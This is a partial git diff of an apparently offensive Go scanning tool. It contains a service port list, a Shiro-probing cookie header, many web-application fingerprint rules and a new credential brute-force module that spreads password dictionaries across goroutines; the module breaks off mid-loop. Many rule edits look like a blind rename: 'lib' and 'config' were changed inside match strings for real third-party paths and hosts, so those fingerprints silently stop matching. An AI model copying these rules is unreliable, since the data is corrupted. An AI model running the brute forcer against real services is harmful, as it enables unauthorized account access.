"80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,443,800,801,808,880,888,889,1000,1080,1880,1881,2000,2001,2601,3443,7001,7007,7010,7070,7878,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8016,8017,8018,8019,8022,8029,8030,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8105,8108,81110,8161,8175,8188,8189,8200,8201,8222,8300,8360,8443,8445,8448,8484,8499,8500,8800,8848,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9300,9443,9448,9500,9628,9800,9899,9981,9986,9988,9998,9999,11001" - - // DefaultHeader TODO: 默认User-Agent - - DefaultHeader = map[string]string{ - "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", - "User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", - "Cookie": "rememberMe=int", - } -) +var JSONSave []*Format diff --git a/config/rule.go b/config/rules.go similarity index 99% rename from config/rule.go rename to config/rules.go index 7cca69f..2200384 100644 --- a/config/rule.go +++ b/config/rules.go @@ -22,9 +22,13 @@ type RuleLab struct { Http ReqHttp } -//TODO: dismap指纹 https://github.com/zhzyker/dismap/blob/main/config/rule.go - var RuleData = []RuleLab{ + {1, "EnterCRM", "body", "", InStr{"(Ent.base.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "MeterSphere", "body", "", InStr{"(MeterSphere)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache Druid", "body", "", InStr{"(Apache Druid|content=\"Apache Druid console\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {2, "Alibaba Druid", "body", "", InStr{"(\n(.*)Welcome|click(druid.login.login)|druid monitor|druid.common.buildHead|druid.index.init())", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Sunlogin", "body|header", "and", InStr{"(\"msg\":\"Verification failure\")", "(application/json|text/html)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "08CMS", "body", "", InStr{"(content=\"08cms|typeof(_08cms))", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "1039soft-JiaXiao", "body", "", InStr{"(name=\"hid_qu_type\" id=\"hid_qu_type\"|/handler/validatecode.ashx?id=)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "17mail", "body", "", InStr{"(//易企邮正式版发布)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -51,7 +55,7 @@ var RuleData = []RuleLab{ {1, "360-Webscan", "body", "", InStr{"(webscan.360.cn/status/pai/hash)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "360WiFi-Expander", "body", "", InStr{"(id=\"slogan\">欢迎使用360wifi扩展器)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "365webcall", "body", "", InStr{"(src='http://www.365webcall.com/imme1.aspx?)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/lib/theme-chalk/index.css|云时政在线考试系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/internal/theme-chalk/index.css|云时政在线考试系统)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "3-byte-invalid-favicon", "ico", "", InStr{"", "", "(ecaa88f7fa0bf610a5a26cf545dcd3aa)"}, ReqHttp{"", "", nil, ""}}, {1, "3Com-3CDSG8", "body", "", InStr{"(content=\" 3cdsg8\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "3Com-NJ2000", "body", "", InStr{"(content=\"3com intellijack nj2000\")", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -101,7 +105,7 @@ var RuleData = []RuleLab{ {1, "activeWeb-Content-Server", "body", "", InStr{"(awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "activeWeb-Content-Server", "header", "", InStr{"", "(x-awcache)", ""}, ReqHttp{"", "", nil, ""}}, {1, "ACT-Manager", "body|header", "or", InStr{"(url:\"/ucenter/login/loginaction!gettitle.action\",|)", "(path=/ucenter/; secure; httponly)", ""}, ReqHttp{"", "", nil, ""}}, - {3, "Acunetix", "body", "", InStr{"(logo.src = 'assets/images/acunetix-logo-full-new-black.svg'|title>Acunetix|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Acunetix", "body", "", InStr{"(acunetix-logo-full-new-black.svg|title>Acunetix|||content=\"adimoney.com mobile advertisement network. )", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -249,6 +253,7 @@ var RuleData = []RuleLab{ {1, "APC-UPS-Management-Card", "body", "", InStr{"(class=\"apclogo\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "APC-UPS-Management-Card", "header", "", InStr{"", "(apc management card|network management card)", ""}, ReqHttp{"", "", nil, ""}}, {1, "APD-Cameras-and-Surveillance", "body", "", InStr{"(var listenport = 6002;|lg_body_iptpsw)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "APISIX", "body|header", "", InStr{"(Apache APISIX Dashboard)", "(Server: APISIX)", ""}, ReqHttp{"", "", nil, ""}}, {1, "apereo-CAS", "body", "", InStr{"(cas – central authentication service)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "apex-LiveBPM", "body", "", InStr{"(href=\"/plug-in/login/fixed/css/login.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "apilayer-Caddy", "header", "", InStr{"", "(server: caddy)", ""}, ReqHttp{"", "", nil, ""}}, @@ -402,7 +407,7 @@ var RuleData = []RuleLab{ {1, "AVTech-Cameras-and-Surveillance", "header", "", InStr{"", "(nserver: avtech/)", ""}, ReqHttp{"", "", nil, ""}}, {1, "AWS-EC2", "body|header", "", InStr{"(welcome to nginx on amazon ec2!)", "(ec2-instance-id)", ""}, ReqHttp{"", "", nil, ""}}, {1, "AWS-Elastic-Beanstalk", "body", "", InStr{"(

what's next?

|aws.amazon.com/elasticbeanstalk)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Axel-Device", "header", "", InStr{"", "(server: axel admin server)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Axentra-HipServ", "body", "", InStr{"(content=\"axentra)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Axentra-HipServ", "header", "", InStr{"", "(x-axentra-version)", ""}, ReqHttp{"", "", nil, ""}}, @@ -467,7 +472,7 @@ var RuleData = []RuleLab{ {1, "Bicesoft-Super-Custom-Survey-Voting-System", "body", "", InStr{"(href=\"images/bicesoft.css\"|佰思超强自定义问卷调查系统(bicesoft.com))", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "biept-System", "body", "", InStr{"(class=\"loginin loginin1\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "BigDump", "body", "", InStr{"(bigdump: staggered mysql dump importer)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"lib/ext-lang-zh_cn.js\"|

欢迎登录碧海云盒

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"internal/ext-lang-zh_cn.js\"|

欢迎登录碧海云盒

)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "BillingTestTool", "body", "", InStr{"(href:'/billtool/querysum')", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Billion-Router", "header", "", InStr{"", "(billion sky|basic realm=\"webadmin)", ""}, ReqHttp{"", "", nil, ""}}, {1, "BinarySec-Cloud-Defense", "header", "", InStr{"", "(x-binarysec|x-binarysec-nocache)", ""}, ReqHttp{"", "", nil, ""}}, @@ -752,7 +757,7 @@ var RuleData = []RuleLab{ {1, "Cisco-MWEB", "header", "", InStr{"", "(cisco-mweb)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Cisco-NAM", "body", "", InStr{"(nam traffic analyzer)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "CISCO-Nexus-Data-Broker", "body", "", InStr{"(j_security_check|window.location.href = '/monitor';)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Cisco-Prime-Infrastructure", "body", "", InStr{"(
cisco prime infrastructure|/webacs/lib/xwt/themes/prime/prime-xwt.css|webacs/welcomeaction.do)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cisco-Prime-Infrastructure", "body", "", InStr{"(
cisco prime infrastructure|/webacs/internal/xwt/themes/prime/prime-xwt.css|webacs/welcomeaction.do)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Cisco-Prime-Infrastructure", "header", "", InStr{"", "(server: prime)", ""}, ReqHttp{"", "", nil, ""}}, {1, "CISCO-Prime-Network-Registrar", "body", "", InStr{"(productname=\"network registrar)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Cisco-Rimes", "header", "", InStr{"", "(rimes-cisco)", ""}, ReqHttp{"", "", nil, ""}}, @@ -871,7 +876,7 @@ var RuleData = []RuleLab{ {1, "Confluence", "body|header|ico", "or", InStr{"(name=\"confluence-base-url\"|id=\"com-atlassian-confluence)", "(x-confluence-|tp-link router upnp)", "(966e60f8eb85b7ea43a7b0095f3e2336)"}, ReqHttp{"", "", nil, ""}}, {1, "ConfTool", "body", "", InStr{"(

conftool conference administration|conference management software)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "ConKing-SchoolGroup", "body", "", InStr{"(javascripts/float.js|vcxvcxv)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Consul-HashiCorp", "body", "", InStr{"(/ui/assets/consul-ui|consul-ui/config/environment|consulhost|consul instance|www.consul.io)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Consul-HashiCorp", "body", "", InStr{"(/ui/assets/consul-ui|consul-ui/configs/environment|consulhost|consul instance|www.consul.io)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "ContentXXL", "body", "", InStr{"(content=\"contentxxl)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "ContrexxCMS", "body", "", InStr{"(powered by contrexx|content=\"contrexx)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Convision-Video", "header", "", InStr{"", "(convision video webserver)", ""}, ReqHttp{"", "", nil, ""}}, @@ -1652,7 +1657,7 @@ var RuleData = []RuleLab{ {1, "Grizzly NIO", "body", "", InStr{"(
Grizzly(.*)
)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Group-Office", "body", "", InStr{"(powered by group-office|\"theme\":\"group-office\",)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Group-Office", "header", "", InStr{"", "(groupoffice=)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/config/index.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/configs/index.html)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "gSOAP", "header", "", InStr{"", "(server: gsoap)", ""}, ReqHttp{"", "", nil, ""}}, {1, "gsoap", "ico", "", InStr{"", "", "(63d5627fc659adfdd5b902ecafe9100f)"}, ReqHttp{"", "", nil, ""}}, {1, "guahao-AppointmentRegistrationSystem", "body", "", InStr{"(var title = \"预约挂号系统\";)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -1862,7 +1867,7 @@ var RuleData = []RuleLab{ {1, "horde", "ico", "", InStr{"", "", "(5e99522b02f6ecadbb3665202357d775|7cc1a052c86cc3d487957f7092a6d8c3)"}, ReqHttp{"", "", nil, ""}}, {1, "Horde IMP)", "ico", "", InStr{"", "", "(f567fd4927f9693a7a2d6cacf21b51b6)"}, ReqHttp{"", "", nil, ""}}, {1, "horde-sam", "ico", "", InStr{"", "", "(ee3d6a9227e27a5bc72db3184dab8303|3995c585b76bd5aa67cb6385431d378a)"}, ReqHttp{"", "", nil, ""}}, - {1, "Hortonworks-SmartSense-Tool", "body", "", InStr{"(name=\"hstapp/config/environment\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Hortonworks-SmartSense-Tool", "body", "", InStr{"(name=\"hstapp/configs/environment\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Hospital-material-supplier-B2B-platform", "body", "", InStr{"(医院物资供应商b2b平台)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "HostBill", "body", "", InStr{"(powered by
hostbill)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Hosteur web hosting", "ico", "", InStr{"", "", "(376CBEF2F074485F525BBF45DBFC2CBA)"}, ReqHttp{"", "", nil, ""}}, @@ -1952,7 +1957,7 @@ var RuleData = []RuleLab{ {1, "HUAWEI-S7700", "header", "", InStr{"", "(s7700)", ""}, ReqHttp{"", "", nil, ""}}, {1, "HuaWei-Secoway-Firewall", "header", "", InStr{"", "(secoway)", ""}, ReqHttp{"", "", nil, ""}}, {1, "HUAWEI-Secoway-USG2230", "header", "", InStr{"", "(secoway usg2230)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "HuaWei-Security-Device", "body", "", InStr{"(sweb-lib/resource/|sweb-lib/plat/login/login_new.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "HuaWei-Security-Device", "body", "", InStr{"(sweb-internal/resource/|sweb-internal/plat/login/login_new.js)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "HuaWei-Server", "body", "", InStr{"(src=\"custom/logo.gif\"|control/images/about.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "HuaWei-SmartAX", "header", "", InStr{"", "(basic realm=\"huawei smartax\"|smartax)", ""}, ReqHttp{"", "", nil, ""}}, {1, "HuaWei-SRG1220", "header", "", InStr{"", "(huawei srg1220)", ""}, ReqHttp{"", "", nil, ""}}, @@ -1995,7 +2000,7 @@ var RuleData = []RuleLab{ {1, "hws-Host", "body", "", InStr{"(content=\"护卫神·主机大师 前台管理登录\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Hybrid-Cluster", "header", "", InStr{"", "(server: hybrid cluster)", ""}, ReqHttp{"", "", nil, ""}}, {1, "hycas-System", "body", "", InStr{"(src=\"/images/hyscm.jpg)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "hzhz-VIS", "body", "", InStr{"(src=\"lib/ext/ext-lang-zh_cn.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "hzhz-VIS", "body", "", InStr{"(src=\"internal/ext/ext-lang-zh_cn.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "i3micro", "header", "", InStr{"", "(realm=\"i3micro)", ""}, ReqHttp{"", "", nil, ""}}, {1, "i3micro VRG", "ico", "", InStr{"", "", "(e4a509e78afca846cd0e6c0672797de5)"}, ReqHttp{"", "", nil, ""}}, {1, "Iactive-Cloud-video-platform", "body", "", InStr{"(/js/roomheight.js|meetingshow!show.action)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -2194,7 +2199,7 @@ var RuleData = []RuleLab{ {1, "Isunor-Order-Management-System", "body", "", InStr{"(var c_name = 'jsessionid';)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Is'vision-Portrait-comparison-system", "body", "", InStr{"(上海银晨|人像比对系统)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "itenable", "body", "", InStr{"(/enableq.css|js/checkquestion.js.php|/images/enableq.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "iTEST3.0", "body", "", InStr{"(src=\"/itest/static/its/lib/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "iTEST3.0", "body", "", InStr{"(src=\"/itest/static/its/internal/)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "iTop", "body", "", InStr{"(href=\"http://www.combodo.com/itop)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "iWebShop", "body", "", InStr{"(_skinpath|_themepath|_weburl|class=\"pro_title\">iwebshop支付测试)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "iWebSNS", "body", "", InStr{"(/jooyea/images/sns_idea1.jpg|/jooyea/images/snslogo.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -2232,7 +2237,7 @@ var RuleData = []RuleLab{ {1, "Jive-SBS", "body|header", "or", InStr{"(/jive-icons.css|class=\"jive-body-formpage|jive.rte.defaultstyles)", "(x-jsl: )", ""}, ReqHttp{"", "", nil, ""}}, {1, "JLOA", "body", "", InStr{"(selectcss|toptitleimg|logintable)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "JNSEC-USG", "body", "", InStr{"(content=\"jnsec web ui\")", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "jnsh-System", "body", "", InStr{"(src=\"../../doc/config/shxmjgptapp.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "jnsh-System", "body", "", InStr{"(src=\"../../doc/configs/shxmjgptapp.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Join-Cheer-General-financial-system", "body", "", InStr{"(北京久其软件股份有限公司 版权所有|/netrep/intf|/netrep/message2/|)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "joinf-ERP", "body", "", InStr{"(

富通天下erp

)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Joomla", "body|ico", "or", InStr{"(content=\"joomla|/media/system/js/core.js|/media/system/js/mootools-core.js)", "", "(63b982eddd64d44233baa25066db6bc1)"}, ReqHttp{"", "", nil, ""}}, @@ -2490,7 +2495,7 @@ var RuleData = []RuleLab{ {1, "Lotus Domino Server", "ico", "", InStr{"", "", "(639b61409215d770a99667b446c80ea1)"}, ReqHttp{"", "", nil, ""}}, {1, "Lotus-Notes-Traveler", "header", "", InStr{"", "(realm=\"lotus notes traveler)", ""}, ReqHttp{"", "", nil, ""}}, {1, "LotWan-Web-accelerator", "body", "", InStr{"(北京华夏创新科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "loyaa-Information-Automatic-Editing-system", "body", "", InStr{"(/loyaa/common.lib.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "loyaa-Information-Automatic-Editing-system", "body", "", InStr{"(/loyaa/common.internal.js)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "LOYTEC-LINX", "body", "", InStr{"(device_info/device_info)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "LPSE", "body", "", InStr{"(href=\"/eproc/assets/application.css)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "LPSE", "header", "", InStr{"", "(/eproc/app)", ""}, ReqHttp{"", "", nil, ""}}, @@ -3109,7 +3114,7 @@ var RuleData = []RuleLab{ {1, "phpATM", "body", "", InStr{"(src=\"viewer_bottom.php?file=|powered by phpatm|powered by php advanced transfer manager)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "phpBB", "header", "", InStr{"", "(set-cookie: phpbb3_|httponly, phpbb3_)", ""}, ReqHttp{"", "", nil, ""}}, {1, "PHP-CGI", "header", "", InStr{"", "(php-cgi)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "PhpCMS", "body", "", InStr{"(http://www.phpcms.cn|content=\"phpcms|powered by phpcms|data/config.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "PhpCMS", "body", "", InStr{"(http://www.phpcms.cn|content=\"phpcms|powered by phpcms|data/configs.js)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "phpCollab", "body", "", InStr{"(|images/login_button.gif\" alt=\"login to rapid browser)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -3405,7 +3410,7 @@ var RuleData = []RuleLab{ {1, "RV042-VPN-Router", "header", "", InStr{"", "(realm=\"rv042|realm=\"klo-rv042)", ""}, ReqHttp{"", "", nil, ""}}, {1, "RV082-VPN-Router", "header", "", InStr{"", "(realm=\"rv082)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Safe3WAF", "header", "", InStr{"", "(safe3waf|safe3 web firewall)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Safedog", "header", "", InStr{"", "(waf/2.0|set-cookie: safedog|safedog-flow-item=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Safedog", "header|body", "or", InStr{"(
loading simsweb, please wait.....

)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Sina-CDN", "header", "", InStr{"", "(x-via-cdn|sina-)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Sina-SAE", "body", "", InStr{"(lib.sinaapp.com)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Sina-SAE", "header", "", InStr{"", "(lib.sinaapp.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Sina-SAE", "body", "", InStr{"(internal.sinaapp.com)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Sina-SAE", "header", "", InStr{"", "(internal.sinaapp.com)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Sinosoft-Technology-E-government-System", "body", "", InStr{"(app_themes/1/style.css|window.location = \"homepages/index.aspx|homepages/content_page.aspx)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "SIPGateway", "body", "", InStr{"(
start page
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "SIPGateway", "body", "", InStr{"(
start page
)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "SipProxyModuleCtx", "header", "", InStr{"", "(this is from sipproxymodulectx)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Siqura-Cameras-and-Surveillance", "body", "", InStr{"(class=\"small\">powered by siqura|欢迎使用360书生云盘!|

copyright@2016 pan.surdoc.net all rights

)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Suremail", "body", "", InStr{"(content=\"北京国信安邮科技有限公司| 客服邮箱:support@suremail.cn)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Surfilter-NET110", "body", "", InStr{"(net110网络安全审计系统|simplemodal.1.4.1.min.js)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Surfilter-SURFNX-Security-Gateway", "body", "", InStr{"(lib/templates/surfilter/images/logo_big.png|/lib/templates/surfilter/css/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Surfilter-SURFNX-Security-Gateway", "body", "", InStr{"(internal/templates/surfilter/images/logo_big.png|/internal/templates/surfilter/css/)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Suyaxing-Campus-Management-System", "body", "", InStr{"(/ws2004/public/)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Swagger", "body", "", InStr{"(
)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Swagger", "body", "", InStr{"(swagger-ui.css|swagger-ui.js)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -3974,7 +3979,6 @@ var RuleData = []RuleLab{ {1, "TP_LINK-TL-WA801ND", "header", "", InStr{"", "(tp-link wireless wa801nd|realm=\"tp-link wireless n access point wa801nd)", ""}, ReqHttp{"", "", nil, ""}}, {1, "TP_LINK-TL-WDR7500", "header", "", InStr{"", "(realm=\"tp-link wireless wdr7500|realm=\"tp-link wireless dual band gigabit router wdr7500)", ""}, ReqHttp{"", "", nil, ""}}, {1, "TP_LINK-TL-WDR7661", "body", "", InStr{"(TL-WDR7661(.*)|var proName=\"TL-WDR7661)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "TP-LINK-Wireless-N-Router-WR941N", "header", "", InStr{"", "(realm=\"tp-link wireless n router wr941n|tp-link wireless wr941n)", ""}, ReqHttp{"", "", nil, ""}}, {1, "TP-LINK-Wireless-Router", "body", "", InStr{"(javascript:gourl('http://www.tp-link.com.cn');)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "TP-LINK-Wireless-Router", "header", "", InStr{"", "(tp-link|wireless)", ""}, ReqHttp{"", "", nil, ""}}, @@ -4220,7 +4224,7 @@ var RuleData = []RuleLab{ {1, "VOS-VOS2009", "body", "", InStr{"(content=\"vos2009, voip, voip运营支撑系统, 软交换\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "VoteManager", "body", "", InStr{"(content=\"微平台投票系统|content=\"微平台投票管理系统|微信数字投票)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "VP-ASP", "body", "", InStr{"(|src=\"vs350.js|shopdisplayproducts.asp?id=)", "", ""}, ReqHttp{"", "", nil, ""}}, - {1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/lib/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/internal/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "VPON", "body", "", InStr{"(/ctrl_ver.js)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "VRV-Desktop-Application-System", "body", "", InStr{"(vrv|var vver = $('#hidverify').val();)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "VRV-IM", "body", "", InStr{"(

连豆豆pc客户端

|href=\"http://im.vrv.cn/server-securitycenter/password/goretrieval.vrv|class=\"loginusername\" value=\"\" placeholder=\"连豆豆账号/邮箱/手机号|class=\"wj-text wj-title\">下载信源豆豆

)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -4261,7 +4265,7 @@ var RuleData = []RuleLab{ {3, "Weaver-e-Bridge", "body", "", InStr{"(content=\"泛微云桥e-bridge\")", "", ""}, ReqHttp{"", "", nil, ""}}, {3, "Weaver-EMobile", "body", "", InStr{"(content=\"weaver e-mobile\"|e-mobile |action=\"/verifylogin.do|/images/login_logo@2x.png|window.apiprifix = \"/emp\";)", "", ""}, ReqHttp{"", "", nil, ""}}, {3, "Weaver-OA", "body|header", "", InStr{"(/wui/common/css/w7ovfont.css|typeof poppedwindow|client/jquery.client_wev8.js|/theme/ecology8/jquery/js/zdialog_wev8.js|ecology8/lang/weaver_lang_7_wev8.js)", "(testbancookie)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "web2Project", "body|header", "", InStr{"(fatal error. you haven't created a config file yet.
fatal error. you haven't created a configs file yet.
)", "(x-powered-by web2py)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Webalizer-Log", "body", "", InStr{"(shopping cart software)", "", ""}, ReqHttp{"", "", nil, ""}}, @@ -4546,7 +4550,7 @@ var RuleData = []RuleLab{ {1, "zoomnetcom-WLAN", "body", "", InStr{"(var url=\"resetwebsvr.php?act=reset\";|中太数据 - 集中无线控制器)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Zoom-Search-Engine", "body", "", InStr{"(name=\"zoom_query\")", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Zope", "header", "", InStr{"", "(zope|server: zope|x-debug-frontend-key: zope)", ""}, ReqHttp{"", "", nil, ""}}, - {1, "Zotonic", "body", "", InStr{"(powered by: zotonic|/lib/js/apps/zotonic-1.0)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Zotonic", "body", "", InStr{"(powered by: zotonic|/internal/js/apps/zotonic-1.0)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "Zscaler-FIREWALL", "header", "", InStr{"", "(set-cookie: _sm_au_d)", ""}, ReqHttp{"", "", nil, ""}}, {1, "Z-Suite", "body", "", InStr{"(contentdiv imgposition desw)", "", ""}, ReqHttp{"", "", nil, ""}}, {1, "ZTE-BAVO-Multimedia-Business-Center", "body", "", InStr{"(bavo 多媒体业务中心|/zxms80css.css)", "", ""}, ReqHttp{"", "", nil, ""}}, diff --git a/core/brute/brute.go b/core/brute/brute.go new file mode 100644 index 0000000..6131a14 --- /dev/null +++ b/core/brute/brute.go @@ -0,0 +1,120 @@ +package brute + +import ( + "Yasso/config" + "Yasso/core/logger" + "fmt" + "math" + "reflect" + "strings" + "sync" +) + +type Brute struct { + user []string // 被枚举的用户名 + pass []string // 被枚举的密码 + bruteMethod interface{} // 枚举方法 + service string // 服务命令 + serviceConn config.ServiceConn // 服务连接 + thread int // 执行爆破的线程数 + output string // 结果输出路径 + noBrute bool // 是否执行爆破 +} + +func NewBrute(user, pass []string, method interface{}, service string, serviceConn config.ServiceConn, thread int, noBrute bool, output string) *Brute { + return &Brute{ + user: user, + pass: pass, + bruteMethod: method, + output: output, + service: service, + thread: thread, + serviceConn: serviceConn, + noBrute: noBrute, + } +} + +// RunEnumeration 开始蛮力枚举 +func (b *Brute) RunEnumeration() { + if b.noBrute == false { + var wg sync.WaitGroup + if len(b.user) == 0 { + b.user = config.UserDict[b.service] // 获取对应端口的user列表 + } + if len(b.pass) == 0 { + b.pass = config.PassDict + } + var t int + if len(b.pass) <= b.thread { + t = len(b.pass) + } else { + t = b.thread + } + // 分割密码 + num := int(math.Ceil(float64(len(b.pass)) / float64(b.thread))) // 每个协程的user数量 + // 分割用户名 + all := map[int][]string{} + for i := 1; i <= t; i++ { + for j := 0; j < num; j++ { + tmp := (i-1)*num + j + if tmp < len(b.pass) { + all[i] = append(all[i], b.pass[tmp]) + } + } + } + for i := 1; i <= t; i++ { + wg.Add(1) + tmp := all[i] + go func(tmp []string) { + defer wg.Done() + for _, p := range tmp { + for _, u := range b.user { + // 